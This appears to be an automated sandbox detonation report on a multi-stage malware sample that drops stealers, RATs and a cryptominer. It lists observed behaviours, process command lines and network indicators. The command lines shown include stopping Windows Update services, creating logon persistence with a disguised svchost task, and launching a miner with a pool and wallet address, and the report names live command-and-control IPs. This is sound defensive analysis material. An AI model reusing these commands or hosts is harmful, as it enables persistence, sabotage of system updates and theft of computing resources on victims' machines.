Analysis Overview
SHA256
6ea68397c9ada660d60cd92137460f9ec823d57374a5ea490b834362d1641227
Threat Level: Known bad
The file 6ea68397c9ada660d60cd92137460f9ec823d57374a5ea490b834362d1641227 was found to be: Known bad.
Malicious Activity Summary
Quasar RAT
SectopRAT payload
Quasar payload
SectopRAT
Suspicious use of NtCreateUserProcessOtherParentProcess
RedLine
RedLine payload
Amadey
Stealc
Credentials from Password Stores: Credentials from Web Browsers
Identifies VirtualBox via ACPI registry values (likely anti-VM)
Downloads MZ/PE file
Stops running service(s)
Checks computer location settings
Loads dropped DLL
Reads WinSCP keys stored on the system
Reads user/profile data of web browsers
Unsecured Credentials: Credentials In Files
Drops startup file
Reads data files stored by FTP clients
Executes dropped EXE
Identifies Wine through registry keys
Checks BIOS information in registry
Checks installed software on the system
Looks up external IP address via web service
Accesses cryptocurrency files/wallets, possible credential harvesting
Power Settings
Suspicious use of SetThreadContext
Suspicious use of NtSetInformationThreadHideFromDebugger
Drops file in Windows directory
Launches sc.exe
Browser Information Discovery
Enumerates physical storage devices
Program crash
Detects Pyinstaller
Unsigned PE
System Location Discovery: System Language Discovery
Modifies system certificate store
Suspicious behavior: EnumeratesProcesses
Suspicious use of FindShellTrayWindow
Suspicious use of WriteProcessMemory
Checks processor information in registry
Suspicious use of AdjustPrivilegeToken
Checks SCSI registry key(s)
Uses Task Scheduler COM API
Scheduled Task/Job: Scheduled Task
Suspicious use of SendNotifyMessage
MITRE ATT&CK
Analysis: static1
Detonation Overview
Reported
2024-07-31 00:35
Signatures
Unsigned PE
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-07-31 00:35
Reported
2024-07-31 00:38
Platform
win10v2004-20240730-en
Max time kernel
149s
Max time network
153s
Command Line
Signatures
Amadey
Quasar RAT
Quasar payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
RedLine
RedLine payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
SectopRAT
SectopRAT payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Stealc
Suspicious use of NtCreateUserProcessOtherParentProcess
| Description | Indicator | Process | Target |
| PID 3052 created 3440 | N/A | C:\Users\Admin\AppData\Local\Temp\_MEI16122\Blsvr.exe | C:\Windows\Explorer.EXE |
| PID 3052 created 3440 | N/A | C:\Users\Admin\AppData\Local\Temp\_MEI16122\Blsvr.exe | C:\Windows\Explorer.EXE |
| PID 3052 created 3440 | N/A | C:\Users\Admin\AppData\Local\Temp\_MEI16122\Blsvr.exe | C:\Windows\Explorer.EXE |
Credentials from Password Stores: Credentials from Web Browsers
Identifies VirtualBox via ACPI registry values (likely anti-VM)
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ | C:\Users\Admin\AppData\Local\Temp\6ea68397c9ada660d60cd92137460f9ec823d57374a5ea490b834362d1641227.exe | N/A |
| Key opened | \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ | C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe | N/A |
| Key opened | \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ | C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe | N/A |
| Key opened | \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ | C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe | N/A |
| Key opened | \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ | C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe | N/A |
Downloads MZ/PE file
Stops running service(s)
Checks BIOS information in registry
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion | C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion | C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion | C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion | C:\Users\Admin\AppData\Local\Temp\6ea68397c9ada660d60cd92137460f9ec823d57374a5ea490b834362d1641227.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion | C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion | C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion | C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion | C:\Users\Admin\AppData\Local\Temp\6ea68397c9ada660d60cd92137460f9ec823d57374a5ea490b834362d1641227.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion | C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion | C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-807826884-2440573969-3755798217-1000\Control Panel\International\Geo\Nation | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-807826884-2440573969-3755798217-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\6ea68397c9ada660d60cd92137460f9ec823d57374a5ea490b834362d1641227.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-807826884-2440573969-3755798217-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-807826884-2440573969-3755798217-1000\Control Panel\International\Geo\Nation | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe | N/A |
Drops startup file
| Description | Indicator | Process | Target |
| File created | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\OneDrive.exe | C:\Users\Admin\AppData\Local\Temp\1000012001\2020.exe | N/A |
| File opened for modification | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\OneDrive.exe | C:\Users\Admin\AppData\Local\Temp\1000012001\2020.exe | N/A |
Executes dropped EXE
Identifies Wine through registry keys
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-807826884-2440573969-3755798217-1000\Software\Wine | C:\Users\Admin\AppData\Local\Temp\6ea68397c9ada660d60cd92137460f9ec823d57374a5ea490b834362d1641227.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-807826884-2440573969-3755798217-1000\Software\Wine | C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-807826884-2440573969-3755798217-1000\Software\Wine | C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-807826884-2440573969-3755798217-1000\Software\Wine | C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-807826884-2440573969-3755798217-1000\Software\Wine | C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe | N/A |
Loads dropped DLL
Reads WinSCP keys stored on the system
Reads data files stored by FTP clients
Reads user/profile data of web browsers
Unsecured Credentials: Credentials In Files
Accesses cryptocurrency files/wallets, possible credential harvesting
Checks installed software on the system
Looks up external IP address via web service
| Description | Indicator | Process | Target |
| N/A | ipinfo.io | N/A | N/A |
| N/A | ipinfo.io | N/A | N/A |
Power Settings
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\cmd.exe | N/A |
| N/A | N/A | C:\Windows\System32\powercfg.exe | N/A |
| N/A | N/A | C:\Windows\System32\powercfg.exe | N/A |
| N/A | N/A | C:\Windows\System32\powercfg.exe | N/A |
| N/A | N/A | C:\Windows\System32\powercfg.exe | N/A |
Suspicious use of NtSetInformationThreadHideFromDebugger
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\6ea68397c9ada660d60cd92137460f9ec823d57374a5ea490b834362d1641227.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\1000010001\pered.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 4632 set thread context of 1908 | N/A | C:\Users\Admin\AppData\Local\Temp\1000002001\GOLD.exe | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe |
| PID 3952 set thread context of 1044 | N/A | C:\Users\Admin\AppData\Local\Temp\1000003001\4434.exe | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe |
| PID 3700 set thread context of 4652 | N/A | C:\Users\Admin\AppData\Local\Temp\1000004001\crypteda.exe | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe |
| PID 6112 set thread context of 4212 | N/A | C:\Users\Admin\AppData\Local\Temp\1000056001\deepweb.exe | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe |
| PID 3052 set thread context of 6464 | N/A | C:\Users\Admin\AppData\Local\Temp\_MEI16122\Blsvr.exe | C:\Windows\System32\conhost.exe |
| PID 3676 set thread context of 1860 | N/A | C:\Users\Admin\AppData\Local\Temp\pureee.exe | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe |
Drops file in Windows directory
| Description | Indicator | Process | Target |
| File created | C:\Windows\Tasks\axplong.job | C:\Users\Admin\AppData\Local\Temp\6ea68397c9ada660d60cd92137460f9ec823d57374a5ea490b834362d1641227.exe | N/A |
Launches sc.exe
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\sc.exe | N/A |
| N/A | N/A | C:\Windows\System32\sc.exe | N/A |
| N/A | N/A | C:\Windows\System32\sc.exe | N/A |
| N/A | N/A | C:\Windows\System32\sc.exe | N/A |
| N/A | N/A | C:\Windows\System32\sc.exe | N/A |
Browser Information Discovery
Detects Pyinstaller
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Enumerates physical storage devices
Program crash
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WerFault.exe | C:\Users\Admin\AppData\Local\Temp\1000005001\2.exe |
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\1000009001\25072023.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\1000027001\buildred.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\1000002001\GOLD.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\1000004001\crypteda.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Roaming\0b1H5GHSJw.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\1000005001\2.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\1000003001\4434.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Roaming\1R9Hkr3HhU.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\1000045001\stealc_valenciga.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\1000050001\30072024.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\dropperrr.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\6ea68397c9ada660d60cd92137460f9ec823d57374a5ea490b834362d1641227.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\1000056001\deepweb.exe | N/A |
Checks SCSI registry key(s)
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI | C:\Users\Admin\AppData\Local\Temp\1000005001\2.exe | N/A |
| Key queried | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI | C:\Users\Admin\AppData\Local\Temp\1000005001\2.exe | N/A |
| Key enumerated | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI | C:\Users\Admin\AppData\Local\Temp\1000005001\2.exe | N/A |
Checks processor information in registry
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString | C:\Users\Admin\AppData\Local\Temp\1000045001\stealc_valenciga.exe | N/A |
| Key opened | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe | N/A |
| Key opened | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 | C:\Users\Admin\AppData\Local\Temp\1000045001\stealc_valenciga.exe | N/A |
Modifies system certificate store
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe | N/A |
| Set value (data) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064\Blob = 0b000000010000004800000054006900740061006e00690075006d00200052006f006f007400200043006500720074006900660069006300610074006500200041007500740068006f00720069007400790000000200000001000000cc0000001c0000006c00000001000000000000000000000000000000010000007b00340031003700340034004200450034002d0031003100430035002d0034003900340043002d0041003200310033002d004200410030004300450039003400340039003300380045007d00000000004d006900630072006f0073006f0066007400200045006e00680061006e006300650064002000430072007900700074006f0067007200610070006800690063002000500072006f00760069006400650072002000760031002e00300000000000030000000100000014000000f1a578c4cb5de79a370893983fd4da8b67b2b06420000000010000000a03000030820306308201eea003020102020867f7beb96a4c2798300d06092a864886f70d01010b0500302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f72697479301e170d3233303331343130333532305a170d3236303631373130333532305a302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f7269747930820122300d06092a864886f70d01010105000382010f003082010a028201010086e4577a5861ce819177d005fa51d5515a936c610ccfcbde5332cd151da647ee881a245c9b02833b02af3d76fe20bd3bfaf7a20973e72ebd9440d09d8c3d2713bdf0d09feb9532acd7a42da2a952daa86a2a88ee427d30959d90bfba05276aa02998a6986fc01306629b79b8405d1f1fa6d9a42f827afc7566340dc2de27012b94bb4a27b3cb1c219a3cb2c14203f34451bd626520edd4dbcc414f593f2acbc48479f7143cbe139cfd129c913e5303dc20f94c44358901b69a848d7ea02e308a311560ac00ae009a29109aeed9713dd8919b97ed598058e17f0726c7a020f710abc06291dfaaf181c6be6a76c89cb68eb0b0ec1cd95f326c7e55588bfd76c5190203010001a328302630130603551d25040c300a06082b06010505070301300f0603551d130101ff040530030101ff300d06092a864886f70d01010b0500038201010070851293d757e982797dc5f7f27da894ef0cdb329f06a6096e0cf604b0e54711560ef40f5282082e210f55a3db41f312548b7611f5f0dacea3c78b13f6fc243c02b106665be69e184088415b273999b877bee353a248cec7eeb5a095c2174bc9526cafe3372c59dbfbe758134ed351e5147273fec68577ae4552a6f99ac80ca8d0ee422af528858c6be81cb0a8031ab0ae83c0eb5564f4e87a5c06295d3903eee2fdf92d62a7f4d4054deaa79bcaebda4e8b1a6efd42aef9d01c7075728cb13aa8557c85a72532b5e2d6c3e55041c9867ca8f562bbd2ab0c3710d83173ec3781d1dcaac5c6e07ee726624dfdc5814cffd336e17932f89beb9cf7fdbee9bebf61 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe | N/A |
Scheduled Task/Job: Scheduled Task
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SYSTEM32\schtasks.exe | N/A |
| N/A | N/A | C:\Windows\SYSTEM32\schtasks.exe | N/A |
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of FindShellTrayWindow
Suspicious use of SendNotifyMessage
Suspicious use of WriteProcessMemory
Uses Task Scheduler COM API
Processes
C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
C:\Users\Admin\AppData\Local\Temp\6ea68397c9ada660d60cd92137460f9ec823d57374a5ea490b834362d1641227.exe
"C:\Users\Admin\AppData\Local\Temp\6ea68397c9ada660d60cd92137460f9ec823d57374a5ea490b834362d1641227.exe"
C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
"C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe"
C:\Users\Admin\AppData\Local\Temp\1000002001\GOLD.exe
"C:\Users\Admin\AppData\Local\Temp\1000002001\GOLD.exe"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
C:\Users\Admin\AppData\Local\Temp\1000003001\4434.exe
"C:\Users\Admin\AppData\Local\Temp\1000003001\4434.exe"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
C:\Users\Admin\AppData\Local\Temp\1000004001\crypteda.exe
"C:\Users\Admin\AppData\Local\Temp\1000004001\crypteda.exe"
C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
C:\Users\Admin\AppData\Roaming\0b1H5GHSJw.exe
"C:\Users\Admin\AppData\Roaming\0b1H5GHSJw.exe"
C:\Users\Admin\AppData\Roaming\1R9Hkr3HhU.exe
"C:\Users\Admin\AppData\Roaming\1R9Hkr3HhU.exe"
C:\Users\Admin\AppData\Local\Temp\1000005001\2.exe
"C:\Users\Admin\AppData\Local\Temp\1000005001\2.exe"
C:\Users\Admin\AppData\Local\Temp\1000009001\25072023.exe
"C:\Users\Admin\AppData\Local\Temp\1000009001\25072023.exe"
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 4956 -ip 4956
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4956 -s 356
C:\Users\Admin\AppData\Local\Temp\1000010001\pered.exe
"C:\Users\Admin\AppData\Local\Temp\1000010001\pered.exe"
C:\Users\Admin\AppData\Local\Temp\1000010001\pered.exe
"C:\Users\Admin\AppData\Local\Temp\1000010001\pered.exe"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "ver"
C:\Users\Admin\AppData\Local\Temp\1000012001\2020.exe
"C:\Users\Admin\AppData\Local\Temp\1000012001\2020.exe"
C:\Users\Admin\AppData\Local\Temp\1000012001\2020.exe
"C:\Users\Admin\AppData\Local\Temp\1000012001\2020.exe"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "ver"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\_MEI16122\Blsvr.exe
C:\Users\Admin\AppData\Local\Temp\_MEI16122\Blsvr.exe
C:\Users\Admin\AppData\Local\Temp\_MEI16122\Blsvr.exe
C:\Users\Admin\AppData\Local\Temp\1000027001\buildred.exe
"C:\Users\Admin\AppData\Local\Temp\1000027001\buildred.exe"
C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
C:\Users\Admin\AppData\Local\Temp\1000036001\Authenticator.exe
"C:\Users\Admin\AppData\Local\Temp\1000036001\Authenticator.exe"
C:\Users\Admin\AppData\Local\Temp\1000045001\stealc_valenciga.exe
"C:\Users\Admin\AppData\Local\Temp\1000045001\stealc_valenciga.exe"
C:\Users\Admin\AppData\Local\Temp\1000050001\30072024.exe
"C:\Users\Admin\AppData\Local\Temp\1000050001\30072024.exe"
C:\Users\Admin\AppData\Local\Temp\1000056001\deepweb.exe
"C:\Users\Admin\AppData\Local\Temp\1000056001\deepweb.exe"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
C:\Windows\System32\sc.exe
sc stop UsoSvc
C:\Windows\System32\sc.exe
sc stop WaaSMedicSvc
C:\Windows\System32\sc.exe
sc stop wuauserv
C:\Windows\System32\sc.exe
sc stop bits
C:\Windows\System32\sc.exe
sc stop dosvc
C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
C:\Windows\System32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
C:\Windows\System32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe
C:\Windows\System32\powercfg.exe
powercfg /x -standby-timeout-ac 0
C:\Windows\System32\powercfg.exe
powercfg /x -standby-timeout-dc 0
C:\Users\Admin\AppData\Local\Temp\pureee.exe
"C:\Users\Admin\AppData\Local\Temp\pureee.exe"
C:\Users\Admin\AppData\Local\Temp\adada.exe
"C:\Users\Admin\AppData\Local\Temp\adada.exe"
C:\Users\Admin\AppData\Local\Temp\dropperrr.exe
"C:\Users\Admin\AppData\Local\Temp\dropperrr.exe"
C:\Windows\SYSTEM32\schtasks.exe
"schtasks" /create /tn "svchost" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\svchost.exe" /rl HIGHEST /f
C:\Users\Admin\AppData\Roaming\SubDir\svchost.exe
"C:\Users\Admin\AppData\Roaming\SubDir\svchost.exe"
C:\Windows\SYSTEM32\schtasks.exe
"schtasks" /create /tn "svchost" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\svchost.exe" /rl HIGHEST /f
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o rx.unmineable.com:3333 -a rx -k -u ETC:0x612e5dBaff1fa2Be8D30e5684630c26db5c5196B.RIG_CPU -p x --cpu-max-threads-hint=50
C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 71.31.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 43.58.199.20.in-addr.arpa | udp |
| RU | 185.215.113.16:80 | 185.215.113.16 | tcp |
| US | 8.8.8.8:53 | 16.113.215.185.in-addr.arpa | udp |
| DE | 20.52.165.210:39030 | tcp | |
| RU | 85.28.47.70:80 | 85.28.47.70 | tcp |
| RU | 185.215.113.67:40960 | tcp | |
| RU | 185.215.113.67:40960 | tcp | |
| NL | 109.120.137.52:80 | 109.120.137.52 | tcp |
| US | 8.8.8.8:53 | 52.137.120.109.in-addr.arpa | udp |
| RU | 185.215.113.67:40960 | tcp | |
| US | 8.8.8.8:53 | udp | |
| US | 8.8.8.8:53 | udp | |
| US | 8.8.8.8:53 | udp | |
| VN | 103.28.36.182:443 | tcp | |
| US | 8.8.8.8:53 | udp | |
| US | 8.8.8.8:53 | udp | |
| GB | 95.100.245.168:80 | tcp | |
| US | 8.8.8.8:53 | udp | |
| RU | 185.215.113.67:40960 | tcp | |
| RU | 185.215.113.67:40960 | tcp | |
| RU | 185.215.113.67:40960 | tcp | |
| US | 8.8.8.8:53 | 172.210.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | ipinfo.io | udp |
| US | 34.117.59.81:443 | ipinfo.io | tcp |
| US | 8.8.8.8:53 | api.telegram.org | udp |
| NL | 149.154.167.220:443 | api.telegram.org | tcp |
| RU | 185.215.113.67:40960 | tcp | |
| US | 8.8.8.8:53 | 81.59.117.34.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 220.167.154.149.in-addr.arpa | udp |
| RU | 185.215.113.9:9137 | tcp | |
| US | 8.8.8.8:53 | 9.113.215.185.in-addr.arpa | udp |
| RU | 185.215.113.67:40960 | tcp | |
| RU | 185.215.113.67:40960 | tcp | |
| RU | 185.215.113.67:40960 | tcp | |
| NL | 91.225.219.163:80 | 91.225.219.163 | tcp |
| US | 8.8.8.8:53 | 163.219.225.91.in-addr.arpa | udp |
| RU | 185.215.113.67:40960 | tcp | |
| NL | 91.92.240.111:80 | 91.92.240.111 | tcp |
| US | 8.8.8.8:53 | 111.240.92.91.in-addr.arpa | udp |
| NL | 91.92.240.111:1334 | 91.92.240.111 | tcp |
| US | 52.111.229.19:443 | tcp | |
| US | 8.8.8.8:53 | pool.supportxmr.com | udp |
| FR | 141.94.96.195:3333 | tcp | |
| US | 8.8.8.8:53 | 195.96.94.141.in-addr.arpa | udp |
| US | 8.8.8.8:53 | udp | |
| US | 8.8.8.8:53 | udp | |
| RU | 185.215.113.67:40960 | tcp | |
| US | 8.8.8.8:53 | api.ip.sb | udp |
| US | 172.67.75.172:443 | api.ip.sb | tcp |
| RU | 185.215.113.67:40960 | tcp | |
| US | 8.8.8.8:53 | 172.75.67.172.in-addr.arpa | udp |
| RU | 185.215.113.67:40960 | tcp | |
| RU | 185.215.113.67:40960 | tcp | |
| NL | 91.92.240.111:80 | 91.92.240.111 | tcp |
| RU | 185.215.113.67:40960 | tcp | |
| RU | 185.215.113.67:40960 | tcp | |
| RU | 185.215.113.67:40960 | tcp | |
| CH | 185.196.9.187:80 | 185.196.9.187 | tcp |
| US | 8.8.8.8:53 | 187.9.196.185.in-addr.arpa | udp |
| RU | 185.215.113.67:40960 | tcp | |
| NL | 91.92.240.111:39001 | tcp | |
| CA | 51.222.21.20:4782 | tcp | |
| US | 8.8.8.8:53 | ipwho.is | udp |
| DE | 195.201.57.90:443 | ipwho.is | tcp |
| US | 8.8.8.8:53 | 20.21.222.51.in-addr.arpa | udp |
